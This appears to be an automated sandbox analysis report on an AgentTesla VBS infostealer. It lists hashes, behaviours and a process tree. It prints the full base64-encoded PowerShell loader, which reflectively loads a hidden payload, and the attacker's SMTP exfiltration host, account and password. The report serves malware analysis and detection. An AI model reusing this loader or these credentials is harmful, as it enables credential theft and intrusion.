Analysis
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max time kernel
110s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
27-04-2024 01:45
Static task
static1
Behavioral task
behavioral1
Sample
d8337b177f29c1422033dbae7b4b1191f9721c54ce02885318ca80aefa446964.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
d8337b177f29c1422033dbae7b4b1191f9721c54ce02885318ca80aefa446964.vbs
Resource
win10v2004-20240426-en
General
-
Target
d8337b177f29c1422033dbae7b4b1191f9721c54ce02885318ca80aefa446964.vbs
-
Size
296KB
-
MD5
51cddcbd39641c958d5906dd9c9080ad
-
SHA1
6dc67e50fe2c5259ea0a0364475d2a9558a1fe3a
-
SHA256
d8337b177f29c1422033dbae7b4b1191f9721c54ce02885318ca80aefa446964
-
SHA512
2c03cb2bdfde6838ab0ed24ea310aa6bcfdc5e30a57c861bf9cdca872e098c5fc80ebe664459df5836dcc2bdcc35618800628b9d9afefadc2227ff8de657cae2
-
SSDEEP
6144:2c7tvCwj2O9lT+TIvZCoJZP2xwrpuHeAFUhhmPhLkJRJ:vKwRwkImzs/Mh2gJP
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
proglass.com.sg - Port:
587 - Username:
[email protected] - Password:
BillionPay$ - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation WScript.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 13 api.ipify.org 14 api.ipify.org -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 436 set thread context of 2220 436 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepid process 2864 powershell.exe 2864 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 2864 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeDebugPrivilege 2220 RegAsm.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid process 2220 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.execmd.exepowershell.exedescription pid process target process PID 2372 wrote to memory of 4356 2372 WScript.exe cmd.exe PID 2372 wrote to memory of 4356 2372 WScript.exe cmd.exe PID 4356 wrote to memory of 2864 4356 cmd.exe powershell.exe PID 4356 wrote to memory of 2864 4356 cmd.exe powershell.exe PID 4356 wrote to memory of 2864 4356 cmd.exe powershell.exe PID 4356 wrote to memory of 436 4356 cmd.exe powershell.exe PID 4356 wrote to memory of 436 4356 cmd.exe powershell.exe PID 4356 wrote to memory of 436 4356 cmd.exe powershell.exe PID 436 wrote to memory of 2220 436 powershell.exe RegAsm.exe PID 436 wrote to memory of 2220 436 powershell.exe RegAsm.exe PID 436 wrote to memory of 2220 436 powershell.exe RegAsm.exe PID 436 wrote to memory of 2220 436 powershell.exe RegAsm.exe PID 436 wrote to memory of 2220 436 powershell.exe RegAsm.exe PID 436 wrote to memory of 2220 436 powershell.exe RegAsm.exe PID 436 wrote to memory of 2220 436 powershell.exe RegAsm.exe PID 436 wrote to memory of 2220 436 powershell.exe RegAsm.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d8337b177f29c1422033dbae7b4b1191f9721c54ce02885318ca80aefa446964.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Jykpxb.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIkp5a3B4Yi5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\Jykpxb.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2864 -
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\Jykpxb.ps1"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2220
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
16KB
MD59f73b886679b3ef2a0c12cf3bba7343a
SHA1916b3889edb6a7dd28c4ec017f4870c3466bd0d9
SHA256f812c4d84622e393247fabd54e7477aeb8f276fab3eefed3fd426e37fc87f6d3
SHA5123707f7bca774dff2ea2ae1b90fa04ea561b49a318e828edeacacd4b830ef30efe9466c942327b871581cfe0f717e92dc20f786b6a3854231464d70522f393ace
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
276KB
MD52c111f46d26f1352673ae6dc86a990fe
SHA1a523fdff3ae3672b0f815c8af3ef0b3982b841d6
SHA2565f175835c666dba497ed962c90679fc4c61b84a021f68ebb900a0d5d5b660d32
SHA5126c4ff1a335d5b8671da3e3cc178bb5ae345e45c262617a58087e36260a346fb8ee699d9db057336ea412e11e2288e9ace76c741ee5c6fc18fb91e0206e51c7ff
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Filesize
2KB
MD5f90fbcb070697feb9fcffa1102bf5c9a
SHA126406dbe3e8f343b13dae2a44193e0918f99e65a
SHA2563ddf16f60017414eb9b0ce45e8688b266c735902003e28814147a017a94f1bce
SHA51223840709dd4908bbff1ccc7d718a5f7cd3ab1a70296f8a99d8ece9e7c8fe7c0a51eaa3a2905e1f4daa70fbbf5285185b4e3a1432191544f02b9270dd76079579